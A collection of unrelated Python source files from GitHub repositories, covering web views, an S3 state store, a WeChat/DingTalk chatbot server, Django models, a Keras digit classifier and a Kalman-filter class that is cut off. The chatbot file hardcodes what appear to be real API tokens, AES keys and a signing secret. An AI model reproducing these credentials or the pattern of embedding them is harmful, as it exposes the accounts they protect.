{"seq_id":"71064869221","text":"from crab.response.generic import BaseResponse, JsonResponse, XmlResponse, PDFResponse, ImageResponse\r\nfrom crab.utiles.register import Error404Handler, Error403Handler, Error500Handler, Error400Handler\r\nfrom crab.utiles.register import post, get\r\nfrom crab.utiles.serializer import add_time, fun_execution_logger, validate_arguments\r\nfrom crab.server.handlers import ViewHandler\r\nimport json\r\nfrom datetime import datetime, timedelta\r\nfrom models import *\r\n\r\n@add_time\r\ndef home(request):\r\n    response = JsonResponse(json.dumps({'message': 'Hello World!'}))\r\n    expiration_time = datetime.now() + timedelta(days=7)\r\n    response.set_cookie('username', 'john', expires=expiration_time)\r\n\r\n    return response\r\n\r\n@get\r\n@validate_arguments(ViewHandler, str)\r\ndef hello(request, name):\r\n    response_data = {'message': f'Hello {name}'}\r\n    return JsonResponse(json.dumps(response_data))\r\n\r\n@fun_execution_logger\r\ndef request(request):\r\n    return JsonResponse(json.dumps({\r\n        'status_code': request.status_code,\r\n    }))\r\n\r\n\r\ndef xml(request):\r\n    return XmlResponse('<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><catalog><title>Empire Burlesque</title></catalog>')\r\n\r\ndef image(request):\r\n    image_path = 'example.png'\r\n    return ImageResponse(image_path)\r\n\r\n@post\r\ndef only_post(request):\r\n    response_data = {'message': 'Only user who post data can access this data'}\r\n    return JsonResponse(response_data)\r\n\r\ndef return_error(request, name):\r\n    response_data = {'message': f'Hello {name}'}\r\n    return JsonResponse(response_data)\r\n\r\ndef database(request):\r\n\r\n    def datetime_encoder(obj):\r\n        if isinstance(obj, datetime):\r\n            return obj.isoformat()\r\n\r\n    Addresses.create()\r\n    Residents.create()\r\n    if len(Addresses.read()) < 15:\r\n        addresses_dict = [{'street': 'Krakowska', 'city': 'Krakow', 'province': 'Malopolska', 'zip_code': '30-320'},\r\n                        {'street': 'Mazowiecka', 'city': 'Krakow', 'province': 'Malopolska', 'zip_code': '30-424'},\r\n                        {'street': 'Zalewska', 'city': 'Krakow', 'province': 'Malopolska', 'zip_code': '30-333'},\r\n                        {'street': 'Brzozowa', 'city': 'Krakow', 'province': 'Malopolska', 'zip_code': '30-222'},\r\n                        {'street': 'Kremowa', 'city': 'Krakow', 'province': 'Malopolska', 'zip_code': '30-111'},]\r\n        Addresses.bulk_create(addresses_dict)\r\n\r\n    # Addresses.clear()\r\n    data = Addresses.read()\r\n\r\n    result = ''\r\n    for i in data:\r\n        data_dict = {'id': i.id, 'created_at': i.created_at, 'updated_at': i.updated_at, 'street': i.street,\r\n                     'city': i.city, 'province': i.province, 'zip_code': i.zip_code}\r\n        result += json.dumps(data_dict, default=datetime_encoder)\r\n\r\n    return JsonResponse(json.dumps(result))\r\n\r\n\r\n\r\n# Error handlers\r\n@Error404Handler\r\ndef error404_view(request):\r\n    return JsonResponse(json.dumps({'status_code': 'test404'}))\r\n\r\n@Error403Handler\r\ndef error403_view(request):\r\n    return JsonResponse(json.dumps({'status_code': 'test403'}))\r\n\r\n@Error500Handler\r\ndef error500_view(request):\r\n    return JsonResponse(json.dumps({'status_code': 'test500'}))\r\n\r\n@Error400Handler\r\ndef error400_view(request):\r\n    return JsonResponse(json.dumps({'status_code': 'test500'}))","repo_name":"Cristi-la/JPWP","sub_path":"Projekt/crab/crab/cli/templates/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17863160972","text":"import os\nimport json\nimport logging\nimport boto3\n\nfrom secrets import AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY\nfrom constants import FLASK_NAME\n\nlogger = logging.getLogger(FLASK_NAME)\n\nS3_BUCKET_NAME = \"archival-project\"\nAWS_SESSION = boto3.Session(aws_access_key_id=AWS_ACCESS_KEY_ID, aws_secret_access_key=AWS_SECRET_ACCESS_KEY)\nSTATE_FILENAME = os.environ.get(\"STATE_FILENAME\", \"state.json\")\n\nclass ArchivalState:\n\n    def __init__(self, entries=None):\n        self.entries = entries if entries else []\n\n    def add_entry(self, entry):\n        self.entries.append(entry)\n        _update_state()\n\n    @staticmethod\n    def from_json(json_dict):\n        entries = json_dict.get(\"entries\", [])\n        entries = [ArchivalEntry.from_json(e) for e in entries]\n        return ArchivalState(entries)\n\n    def to_json(self) -> dict:\n        return {\n            \"entries\": [e.to_json() for e in self.entries]\n        }\n\n\nclass ArchivalEntry:\n\n    def __init__(self, trend_name, trend_location, num_tweets, filename, duration, timestamp):\n        self.trend_name = trend_name\n        self.trend_location = trend_location\n        self.num_tweets = num_tweets\n        self.filename = filename\n        self.duration = duration\n        self.timestamp = timestamp\n\n    @staticmethod\n    def from_json(json_dict):\n        trend_name = json_dict.get(\"trendName\", \"\")\n        trend_location = json_dict.get(\"trendLocation\", \"\")\n        num_tweets = json_dict.get(\"numTweets\", 0)\n        filename = json_dict.get(\"filename\", \"\")\n        duration = json_dict.get(\"duration\", 0.0)\n        timestamp = json_dict.get(\"timestamp\", 0.0)\n        return ArchivalEntry(trend_name, trend_location, num_tweets, filename, duration, timestamp)\n\n    def to_json(self) -> dict:\n        return {\n            \"trendName\": self.trend_name,\n            \"trendLocation\": self.trend_location,\n            \"numTweets\": self.num_tweets,\n            \"filename\": self.filename,\n            \"duration\": self.duration,\n            \"timestamp\": self.timestamp\n        }\n\n\ndef upload_file(filename, key, **kwargs):\n    s3 = AWS_SESSION.resource('s3')\n    with open(filename, 'rb') as file_obj:\n        s3.Object(S3_BUCKET_NAME, key).put(Body=file_obj, **kwargs)\n\n\ndef _upload_bytes(b, key):\n    s3 = AWS_SESSION.resource('s3')\n    s3.Object(S3_BUCKET_NAME, key).put(Body=b)\n\n\ndef _get_state() -> ArchivalState:\n    logger.debug(\"fetching state from S3\")\n    s3 = AWS_SESSION.resource('s3')\n    state_object = s3.Object(S3_BUCKET_NAME, STATE_FILENAME).get()\n    state_dict = json.load(state_object[\"Body\"])\n    return ArchivalState.from_json(state_dict)\n\ndef _update_state():\n    global state\n    \n    if not state:\n        logger.warning(\"update_state: state not yet defined\")\n        return\n    \n    logger.debug(\"updating state in S3\")\n    state_json = state.to_json()\n    state_json_bytes = json.dumps(state_json).encode(\"utf-8\")\n    _upload_bytes(state_json_bytes, STATE_FILENAME)\n\n\n# Populate state from S3\nstate = _get_state()\n","repo_name":"rytrose/archival-project","sub_path":"src/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23484776766","text":"import asyncio\nimport base64\nimport hashlib\nimport hmac\nimport html\nimport json\nimport signal\nimport time\nimport urllib\nfrom typing import Any\n\nimport addict\nimport uvicorn\nimport xmltodict\nfrom fastapi import Body, Request\nfrom fastapi import FastAPI, Response\nfrom fastapi import Header\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom fastapi.responses import StreamingResponse, JSONResponse\nfrom fastapi.staticfiles import StaticFiles\nfrom wechatpy.utils import to_text\n\nfrom chat_server import ChatBotServer, Questions\nfrom cosplay import SensitiveRolePrompt\nfrom dingtalk import DingtalkChatbot, MsgMakerDingtalkChatbot\nfrom model import ConversationsModel\nfrom sdk.wxbot.WXBizMsgCrypt import WXBizMsgCrypt\n\napp = FastAPI()\napp.mount(\"/static\", StaticFiles(directory=\"static\", html=True), name=\"static\")\napp.add_middleware(\n        CORSMiddleware,\n        allow_origins=[\"*\"],\n        allow_credentials=True,\n        allow_methods=[\"*\"],\n        allow_headers=[\"*\"],\n)\n\ngpt_bot = ChatBotServer()\nding_msg_maker = MsgMakerDingtalkChatbot('')\n\n\n@app.post('/qywx')\nasync def qywx_post(body: dict = Body(...), request: Request = None) -> Any:\n    return ''\n\n\n@app.get('/qywx')\nasync def qywx(msg_signature: str = '', timestamp: str = 0, nonce: str = \"\", echostr: str = \"\", request: Request = None) -> Any:\n    token = '1aDGY0Oo198F'\n    aeskey = 'g9FabMlWDXbBHYUHabj1pAdgu39oeyB53hXXQzEfLGs'\n    sCorpID = 'ww518bb40fac29ee08'\n    wxcpt = WXBizMsgCrypt(token, aeskey, sCorpID)\n    ret, sEchoStr = wxcpt.VerifyURL(msg_signature, timestamp, nonce, echostr)\n    message = sEchoStr\n    return Response(message)\n\n\n@app.post('/wxbot')\nasync def wxbot(body: dict = Body(...), request: Request = None) -> Any:\n    \"\"\"\n    https://developers.weixin.qq.com/doc/aispeech/confapi/thirdkefu/recivemsg.html#%E5%AF%B9%E8%AF%9D%E6%9D%A5%E6%BA%90-from\n    :param body:\n    :param request:\n    :return:\n    \"\"\"\n\n    APPID = 'oaOlEBSG41q5X2v'\n    Token = 'i1b1JNJTL3w56t5vQdSh87r7n4YZoP'\n    AESKey = 'LOzU5mgPDnUSUrqOjZBpP8yNAsRj5MGSw6OH6K7YFuU'\n    encrypted_b64 = body.get('encrypted')\n    wx_bot = WXBizMsgCrypt(Token, AESKey, APPID)\n    ret, decryp_xml = wx_bot.Decrypt(encrypted_b64)\n    if ret == 0:\n        # {'userid': '5m5WQGyzDqj', 'appid': 'i1b1JNJTL3w56t5vQdSh87r7n4YZoP', 'content': {'msg': 'asd'}, 'from': '0', 'status': '0', 'kfstate': '0', 'channel': '7', 'msgtype': 'text', 'assessment': None, 'waiterid': 'i1b1JNJTL3w56t5vQdSh87r7n4YZoP', 'waitername': None, 'waiteravatar': None, 'createtime': '1684742325250'}\n        data = xmltodict.parse(to_text(decryp_xml))['xml']\n        userid = data['userid']\n        channel = data['channel']\n        text = data['content'].get('msg', '')\n        event = data.get('event')\n        if data['from'] == '0' and isinstance(text, str) and text:\n            def send_msg(q: Questions, reply):\n                wx_bot.send_msg(reply, userid, channel)\n\n            msg = gpt_bot.check_talk(text.strip(), data, userid, '', send_msg)\n            ret = wx_bot.send_msg(msg, userid, channel)\n    return ret\n\n\n@app.get('/')\nasync def dinkbot_get(request: Request = None):\n    timestamp = str(round(time.time() * 1000))\n    secret = 'fmmYochm6pkpvRs_PwGAH6tsTko3RvWXaSeRcSKPX_z8huWCertFbnQwOEfIDJTu'\n    secret_enc = secret.encode('utf-8')\n    string_to_sign = '{}\\n{}'.format(timestamp, secret)\n    string_to_sign_enc = string_to_sign.encode('utf-8')\n    hmac_code = hmac.new(secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest()\n    sign = urllib.parse.quote_plus(base64.b64encode(hmac_code))\n    print(timestamp)\n    print(sign)\n    return Response(sign)\n\n\n@app.post('/dinkbot')\nasync def dinkbot(body: dict = Body(...), request: Request = None) -> Any:\n    \"\"\"\n    {\n    \"conversationId\": \"xxx\",\n    \"atUsers\": [\n        {\n            \"dingtalkId\": \"xxx\",\n            \"staffId\":\"xxx\"\n        }\n    ],\n    \"chatbotCorpId\": \"dinge8a565xxxx\",\n    \"chatbotUserId\": \"$:LWCP_v1:$Cxxxxx\",\n    \"msgId\": \"msg0xxxxx\",\n    \"senderNick\": \"杨xx\",\n    \"isAdmin\": true,\n    \"senderStaffId\": \"user123\",\n    \"sessionWebhookExpiredTime\": 1613635652738,\n    \"createAt\": 1613630252678,\n    \"senderCorpId\": \"dinge8a565xxxx\",\n    \"conversationType\": \"2\",\n    \"senderId\": \"$:LWCP_v1:$Ff09GIxxxxx\",\n    \"conversationTitle\": \"机器人测试-TEST\",\n    \"isInAtList\": true,\n    \"sessionWebhook\": \"https://oapi.dingtalk.com/robot/sendBySession?session=xxxxx\",\n    \"text\": {\n        \"content\": \" 你好\"\n    },\n    \"msgtype\": \"text\"\n}\n    \"\"\"\n\n    data = addict.Addict(body)\n    msgtype = data.msgtype\n    is_group_chat = data.conversationTitle\n    msg = '请问有什么可能帮助您,请@我!'\n    if msgtype == 'text':\n        text = data.text.content\n    elif msgtype == 'richText':\n        text = data.content.richText[0].text\n    else:\n        text = ''\n        msg = '不支持的消息类型'\n\n    senderStaffId = data.senderStaffId or ''\n    at_dingtalk_ids = [senderStaffId] if senderStaffId else []\n    at_text = ('@' + ('@'.join(at_dingtalk_ids)) if at_dingtalk_ids and is_group_chat else '')\n    is_at_all = not at_dingtalk_ids\n    text = text.strip()\n    conversationTitle = data.conversationTitle\n    if text:\n        def send_ding(q: Questions, reply):\n            prompt = q.text\n            data = q.data\n            _is_at_all = is_at_all\n            _at_text = at_text\n            _at_dingtalk_ids = at_dingtalk_ids\n            if (prompt.find('@all') >= 0 or prompt.find('@所有人') >= 0) and is_group_chat:\n                _at_dingtalk_ids = []\n                _at_text = ''\n                _is_at_all = True\n            prompt = prompt.strip().split('\\n')[-1][-50:]\n            # reply = html.escape(reply)\n            prompt_link = gpt_bot.generate_prompt_link(q.message_id)\n            DingtalkChatbot(data['sessionWebhook']).send_markdown(f'{prompt}', f'>{_at_text} [{prompt}]({prompt_link}):\\n\\n{reply}', at_dingtalk_ids=_at_dingtalk_ids, is_at_all=_is_at_all)\n\n        msg = gpt_bot.check_talk(text, data, data.senderNick or senderStaffId, conversationTitle, send_ding)\n\n    return ding_msg_maker.send_markdown(msg, f'{at_text} {msg}', at_dingtalk_ids=at_dingtalk_ids, is_at_all=is_at_all)\n\n\n@app.post('/api/prompt')\nasync def gpt_prompt(body: dict = Body(...), request: Request = None):\n    prompt_id = body.get('id', '')\n    result = gpt_bot.state.prompt_map.get(prompt_id)\n    if not result:\n        result = ConversationsModel.get_index(prompt_id)\n        if result:\n            gpt_bot.state.prompt_map[prompt_id] = result\n    return JSONResponse(result)\n\n\n@app.post('/api/session_list')\nasync def get_session_list(body: dict = Body(...), request: Request = None):\n    sid = body.get('sid', '')\n    result = ConversationsModel.search({'term': {'session_id': sid}}, size=20)['hits']\n    result = [item['_source'] for item in result]\n    return JSONResponse(result)\n\n\n@app.post(\"/api/chat-process\")\nasync def chat_process(body: dict = Body(...), request: Request = None):\n    \"\"\" 额外的对话\n    data: {\"id\":\"chatcmpl-6r3B875xFqmzK9lMm8sousVO3iBN4\",\"object\":\"chat.completion.chunk\",\"created\":1678101622,\"model\":\"gpt-3.5-turbo-0301\",\"choices\":[{\"delta\":{\"role\":\"assistant\"},\"index\":0,\"finish_reason\":null}]}\n    :param request:\n    :return:\n    \"\"\"\n    prompt_id = request.query_params.get('id', '') or body.get('id')\n    prompt = body.get('prompt', '').strip()\n    conversationId = body.get('options', {}).get('conversationId', '')\n    parentMessageId = body.get('options', {}).get('parentMessageId', '')\n    session_id = body.get('options', {}).get('sid', '')\n\n    data = {}\n    data['end'] = False\n    data['id'] = prompt_id\n    if not prompt_id and prompt:\n        role_prompt = SensitiveRolePrompt(prompt).set_prompt_tpl(prompt)\n        errmsg = role_prompt.errmsg\n        if errmsg:\n            data['text'] = errmsg\n            data['end'] = True\n        else:\n            text = role_prompt.get_text()\n            prompt_id = gpt_bot.add_async_talk(text, body, lambda d, s: '', parentMessageId, hint=role_prompt.hint_prompt, session_id=session_id)\n            if not prompt_id:\n                data['text'] = '机器人提交失败,请稍后再提问!'\n                data['end'] = True\n\n    delay = 0.1\n\n    async def generate():\n        index = 0\n        while 1:\n            index += 1\n            data['conversationId'] = gpt_bot.state.conversation_id\n            result = gpt_bot.state.prompt_map.get(prompt_id)\n            # 暂时不清楚有什么用\n            data['detail'] = {\"choices\": [{\"delta\": {\"content\": \"\"}, \"index\": index, \"finish_reason\": None}]}\n            if result:\n                reply = result.get('reply')\n                if reply:\n                    content = reply['content']['parts'][0]\n                    data['id'] = reply['id']\n                    data['text'] = content\n                    if reply['status'] == 'finished_successfully':\n                        data['end'] = True\n            else:\n                if index * delay > 60 * 2:\n                    data['text'] = '超过2分钟还没处理,请重重试'\n                    data['end'] = True\n            rsp = json.dumps(data, ensure_ascii=False)\n            yield f'{rsp}\\n'\n            if data['end']:\n                break\n            data['end'] = False\n            await asyncio.sleep(delay)\n\n    headers = {\n            \"Content-Type\": \"application/octet-stream\",\n            # \"Transfer-Encoding\": \"chunked\",\n    }\n\n    return StreamingResponse(generate(), headers=headers)\n\n\n@app.get('/prompt')\nasync def gpt_prompt(content_type: str = Header(None), request: Request = None):\n    prompt_id = request.query_params.get('id', '')\n    result = gpt_bot.state.prompt_map.get(prompt_id)\n\n    if content_type and content_type.find('json') >= 0:\n        return Response(json.dumps(result))\n\n    meta = '<meta http-equiv=\"refresh\" content=\"1\">'\n    prompt_text = title = content = '回答中...'\n\n    if result:\n        prompt_text = result['content']['parts'][0].strip().split('\\n')[-1][-50:]\n        reply = result.get('reply')\n        if reply:\n            content = reply['content']['parts'][0]\n            content = html.escape(content)\n            if reply['status'] == 'finished_successfully':\n                meta = ''\n                title = '完成'\n    rsp = f'''\n    <!DOCTYPE html>\n<html>\n<style>\np {{margin:0px}}\npre {{margin:0px}}\n</style>\n<head>\n\t<meta charset=\"UTF-8\">\n\t<script src=\"https://cdn.jsdelivr.net/npm/marked/marked.min.js\"></script>\n\t<link href=\"https://cdn.bootcss.com/highlight.js/9.18.1/styles/monokai-sublime.min.css\" rel=\"stylesheet\">\n    <script src=\"https://cdn.bootcss.com/highlight.js/9.18.1/highlight.min.js\"></script>\n\t<title>{title}</title>\n\t{meta}\n</head>\n<body>\n<pre>\n{prompt_text} :\n</pre>\n<hr>\n<pre id=\"markdown\">\n{content}\n</pre>\n</body>\n<script>\nlet markdown = document.getElementById('markdown');\n//markdown.innerHTML = marked.parse(markdown.innerText);\n//hljs.initHighlightingOnLoad();\n</script>\n</html>\n    '''\n    return Response(rsp)\n\n\ndef signal_handler(signum, frame):\n    gpt_bot.stop()\n    print('Signal handler called with signal', signum)\n\n\nif __name__ == \"__main__\":\n    # 注册信号处理程序\n    signal.signal(signal.SIGINT, signal_handler)\n    signal.signal(signal.SIGQUIT, signal_handler)\n    signal.signal(signal.SIGTERM, signal_handler)\n\n    uvicorn.run(app, reload=False, host=\"0.0.0.0\", port=5001)\n","repo_name":"xzregg/dingtalkbot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15974420510","text":"from django.db import models\r\nfrom django.forms import CharField, DateField\r\n\r\n# Create your models here.\r\n\r\nclass article_ids(models.Model):\r\n    verge_ids = models.IntegerField((\"verge_ids\"), max_length=20)\r\n\r\nclass Verge_data(models.Model):\r\n\r\n    verge_ids = models.ForeignKey(article_ids, on_delete=models.CASCADE, primary_key=True)\r\n\r\n    https_links = models.CharField((\"https_links\"), max_length=510)\r\n\r\n    verge_articles = models.CharField((\"verge_articles\"), max_length=510)\r\n \r\n    verge_authors = models.CharField((\"verge_authors\"), max_length=100)\r\n\r\n    article_dates = models.DateField((\"article_dates\"), max_length=20)\r\n","repo_name":"GitCodeSM/Webscraper-SQLite-Django-Heroku-CSV","sub_path":"scraperapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"3155411116","text":"\nimport yaml\n\ndef _parse_args(config_parser, parser):\n    # Do we have a config file to parse?\n    args_config, remaining = config_parser.parse_known_args()\n    if args_config.config:\n        with open(args_config.config, 'r') as f:\n            cfg = yaml.safe_load(f)\n            parser.set_defaults(**cfg)\n\n    # The main arg parser parses the rest of the args, the usual\n    # defaults will have been overridden if config file specified.\n    args = parser.parse_args(remaining)\n    print(args)\n\n    # Cache the args as a text string to save them in the output dir later\n    args_text = yaml.safe_dump(args.__dict__, default_flow_style=False)\n    return args, args_text\n","repo_name":"TencentARC/DTN","sub_path":"utils/parser_load.py","file_name":"parser_load.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"35"}
{"seq_id":"15089351363","text":"from keras.utils import to_categorical\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pickle\nimport os\nfrom google.colab import files\n\n# iMPORTING DATA ===========================================================================\ndef readPickleData():\n    file_path = \"./processed data\"\n    data_dict = {}\n    if os.path.exists(file_path):\n        pickle_dir = os.path.join(os.path.dirname(__file__), file_path[2:])\n        pickle_files = [f for f in os.listdir(pickle_dir) if f.endswith('.pickle')]\n\n        for i, pickle_file in enumerate(pickle_files):\n            with open(os.path.join(pickle_dir, pickle_file), 'rb') as f:\n                data = pickle.load(f)\n                data_dict[f'data_{i + 1}'] = data\n    else:\n        with open('test_data.pickle', 'rb') as p:\n            test_data = pickle.load(p)\n        with open('test_labels.pickle', 'rb') as i:\n            test_labels = pickle.load(i)\n        with open('train_data.pickle', 'rb') as c:\n            train_data = pickle.load(c)\n        with open('train_labels.pickle', 'rb') as k:\n            train_labels = pickle.load(k)\n        with open('val_data.pickle', 'rb') as l:\n            val_data = pickle.load(l)\n        with open('val_labels.pickle', 'rb') as e:\n            val_labels = pickle.load(e)\n\n            test_data = np.reshape(test_data, (test_data.shape[0], 64, 64, 1))\n            train_data = np.reshape(train_data, (train_data.shape[0], 64, 64, 1))\n            val_data = np.reshape(val_data, (val_data.shape[0], 64, 64, 1))\n\n            data_dict['data_1'] = test_data\n            data_dict['data_2'] = test_labels\n            data_dict['data_3'] = train_data\n            data_dict['data_4'] = train_labels\n            data_dict['data_5'] = val_data\n            data_dict['data_6'] = val_labels\n\n        return data_dict\n\n\ndata_dict = readPickleData()\n\ntest_data = data_dict[\"data_1\"]\ntest_data = tf.keras.utils.normalize(test_data, axis=1)\ntest_labels = data_dict[\"data_2\"]\ntrain_data = data_dict[\"data_3\"]\ntrain_data = tf.keras.utils.normalize(train_data, axis=1)\ntrain_labels = data_dict[\"data_4\"]\nval_data = data_dict[\"data_5\"]\nval_data = tf.keras.utils.normalize(val_data, axis=1)\nval_labels = data_dict[\"data_6\"]\n\n\n# CONVERTING STRING TYPE LABELS TO INT\ndef convert_strings_to_integers(array):\n    # Create a dictionary to map strings to index integers\n    string_to_index = {\n        \"0\": 0,\n        \"1\": 1,\n        \"2\": 2,\n        \"3\": 3,\n        \"4\": 4,\n        \"5\": 5,\n        \"6\": 6,\n        \"7\": 7,\n        \"8\": 8,\n        \"9\": 9,\n        \"add\": 10,\n        \"dec\": 11,\n        \"eq\": 12,\n        \"div\": 13,\n        \"mul\": 14,\n        \"sub\": 15,\n        \"x\": 16,\n        \"y\": 17,\n        \"z\": 18,\n    }\n\n    # Loop through the array and convert each string to its index integer\n    integer_array = []\n    for string in array:\n        integer_array.append(string_to_index[string])\n\n    return integer_array\n\n\ntrain_labels = convert_strings_to_integers(train_labels)\ntest_labels = convert_strings_to_integers(test_labels)\nval_labels = convert_strings_to_integers(val_labels)\n\ntrain_labels = to_categorical(train_labels)\ntest_labels = to_categorical(test_labels)\nval_labels = to_categorical(val_labels)\n\n\n# BUILDING THE MODEL ===========================================================================\nmodel = tf.keras.Sequential([\n  tf.keras.layers.Conv2D(32, (3,3), activation='relu', input_shape=(64, 64,1)),\n  tf.keras.layers.MaxPooling2D((2,2)),\n  tf.keras.layers.Conv2D(64, (3,3), activation='relu'),\n  tf.keras.layers.MaxPooling2D((2,2)),\n  tf.keras.layers.Conv2D(128, (3,3), activation='relu'),\n  tf.keras.layers.MaxPooling2D((2,2)),\n  tf.keras.layers.Conv2D(256, (3,3), activation='relu'),\n  tf.keras.layers.MaxPooling2D((2,2)),\n  tf.keras.layers.Flatten(),\n  tf.keras.layers.Dropout(0.5),\n  tf.keras.layers.Dense(512, activation='relu'),\n  tf.keras.layers.Dense(19, activation='softmax')\n])\n\nmodel.compile(optimizer='adam',\n              loss='categorical_crossentropy',\n              metrics=['accuracy'])\n\nmodel.summary()\n\nhistory = model.fit(train_data, train_labels,\n                    batch_size=32,\n                    epochs=40,\n                    validation_data=(val_data, val_labels))\n\nmodel.save('DigitClassifier.h5')","repo_name":"thomas-c-reid/TensorflowMathDetection","sub_path":"CNNModel.py","file_name":"CNNModel.py","file_ext":"py","file_size_in_byte":4267,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"69955471460","text":"import utils\nfrom data import DATA\n\ndef repCols(cols):\n    cols = utils.copy(cols)\n    for _,col in enumerate(cols):\n        col[len(col)-1] = col[0] + \":\" + col[len(col)-1]\n        for j in range(1,len(col)):\n            col[j-1]=col[j]\n        # col[len(col)-1]=None\n        col.pop()\n    processed_cols1 = []\n    for i in range(len(cols[1])-1):\n        processed_cols1.append(\"Num{}\".format(i+1))\n    processed_cols1.append('thingX')\n    cols.insert(0, processed_cols1)\n    return DATA(cols)\n\ndef repRows(t,rows):\n    rows = utils.copy(rows)\n    for j,s in enumerate(rows[-1]):\n        rows[0][j]=str(rows[0][j])+\":\"+str(s)\n    rows.pop()\n    for n,row in enumerate(rows):\n        if(n==0):\n            row.append(\"thingX\")\n        else:\n            u=t[\"rows\"][len(t[\"rows\"])-n]\n            row.append(u[len(u)-1])\n    \n    return DATA(rows)\n\ndef repgrid(sFile):\n    t = utils.dofile(sFile)\n    rows = repRows(t, utils.transpose(t['cols']))\n    cols = repCols(t['cols'])\n    utils.show(rows.cluster(),\"mid\",rows.cols.all,1)\n    utils.show(cols.cluster(),\"mid\",rows.cols.all,1)\n    repPlace(rows)\n\ndef repPlace(data):\n    n=20\n    g={}\n    for i in range(1,n+1):\n        g[i]={}\n        for j in range(1,n+1):\n            g[i][j]=\" \"\n\n    maxy=0\n    print(\"\")\n    for r,row in enumerate(data.rows):\n        c=chr(97+r).upper()\n        print(c,utils.last(row.cells))\n        x=int(row.x*n/1)\n        y=int(row.y*n/1)\n        maxy=max(maxy,y+1)\n        g[y+1][x+1]=c\n    print(\"\")\n    for y in range(1,maxy+1):\n        print(\" \".join(g[y].values()))\n\n        ","repo_name":"Aoishi28/CSC591_Group5_Lua2Py_4","sub_path":"src/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9632390460","text":"import math\nimport random\nimport numpy as np\nfrom E160_config import *\nfrom E160_state import*\nfrom scipy.stats import norm\nfrom scipy.linalg import sqrtm\n\n\nINITIAL_ERROR = np.array([CONFIG_X_ERROR, CONFIG_Y_ERROR, CONFIG_THETA_ERROR]).reshape((3,1))\n\nCONFIG_ROBOT_RAD_M = 0.147 / 2\nCONFIG_WHEEL_RAD_M = 0.034\n\nCONFIG_NUM_STATE_VARS = 3\n\n# from wikipedia page of UKF\nCONFIG_ALPHA = 0.001\nCONFIG_BETA = 2.0\nCONFIG_KAPPA = 0.0\n\n# enums for direction\nRIGHT_SENSOR_ID = 2\nSTRAIGHT_SENSOR_ID = 0\nLEFT_SENSOR_ID = 1\n\nprint(\"sensor noise\", CONFIG_SENSOR_NOISE_STDEV)\nprint(\"initial translation stdev\", CONFIG_INIT_TRANSLATION_STDEV)\nprint(\"initial angle stdev\", CONFIG_INIT_ANGLE_STDEV)\n\n# R_t is the ``prediction noise'' - what is this?\nPREDICTION_COVARIANCE = np.eye(CONFIG_NUM_STATE_VARS) * CONFIG_INIT_TRANSLATION_STDEV**2\n\n# Q_t - measurement noise, for converting from sensor to absolute estimation\nMEASUREMENT_COVARIANCE = np.eye(CONFIG_NUM_SENSORS) * CONFIG_SENSOR_NOISE_STDEV**2\n\ndef normalize_np_angle(ang):\n  ang = ang % (2 * math.pi)\n  ang[ang > math.pi] -= 2 * math.pi\n  return ang\n\n\nclass E160_UKF:\n\n  def __init__(self, \n               environment, \n               initial_state, \n               initial_variance, \n               encoder_resolution,\n               alpha=CONFIG_ALPHA,\n               beta=CONFIG_BETA,\n               kappa=CONFIG_KAPPA,\n               robot_radius=CONFIG_ROBOT_RAD_M, \n               wheel_radius=CONFIG_WHEEL_RAD_M):\n    \n    # robot information\n    self.robot_radius_m = robot_radius\n    self.wheel_radius_m = wheel_radius\n\n    # define the sensor orientations\n    \n    self.num_sensors = CONFIG_NUM_SENSORS\n    self.sensor_orientation = [0, math.pi/2, -math.pi/2, math.pi/4, -math.pi/4, 3*math.pi/4, -3*math.pi/4, math.pi] # orientations of the sensors on robot\n    self.sensor_orientation = self.sensor_orientation[0:self.num_sensors]\n    self.walls = environment.walls\n\n    # control signal sensor (process) information\n    self.encoder_resolution = encoder_resolution\n    self.last_encoder_measurements = [0,0]\n\n    # correction signal sensor (measurement) information\n    self.FAR_READING = 1.5\n    if CONFIG_IN_HARDWARE_MODE:\n      self.IR_sigma_m = 0.2 # Range finder s.d\n    else:\n      self.IR_sigma_m = 0.3 # Range finder s.d\n\n    # number of state variables\n    self.num_state_vars = CONFIG_NUM_STATE_VARS\n\n    # total number of sigma points (includes mean)\n    self.numParticles = 2*self.num_state_vars + 1\n\n    # UKF parameters\n    self.alpha = alpha\n    self.beta = beta\n    self.kappa = kappa\n    self.lmbda = None\n    self.mean_weights = np.zeros(self.numParticles)\n    self.cov_weights = np.zeros(self.numParticles)\n\n    # update lambda and weights\n    self.lmbda, self.gamma, self.mean_weights, self.cov_weights = self.UpdateWeights()\n\n    # structures that hold data for the sigma points\n    self.particles = []\n    self.sigma_points = np.zeros((CONFIG_NUM_STATE_VARS, self.numParticles))\n\n    # initialize hypothesis for state and variance\n    self.state = np.array(initial_state).reshape(3,1) + INITIAL_ERROR\n    self.variance = np.array(initial_variance)\n\n    # initializes sigma_points and particles\n    self.particles = self.GenerateParticles(self.state, self.variance)\n\n    self.delay = 0\n\n    # track previous variance of error\n    self.expected_measurement_variance = MEASUREMENT_COVARIANCE\n\n  # update weights using rules described in Probabilistic Robotics\n  def UpdateWeights(self):\n    \"\"\"\n    Create new lambda, update mean and covariance weights.\n    \"\"\"\n    lmbda = (self.alpha **2  * (self.num_state_vars + self.kappa) \n                  - self.num_state_vars)\n\n    gamma = np.sqrt(self.num_state_vars + lmbda)\n\n    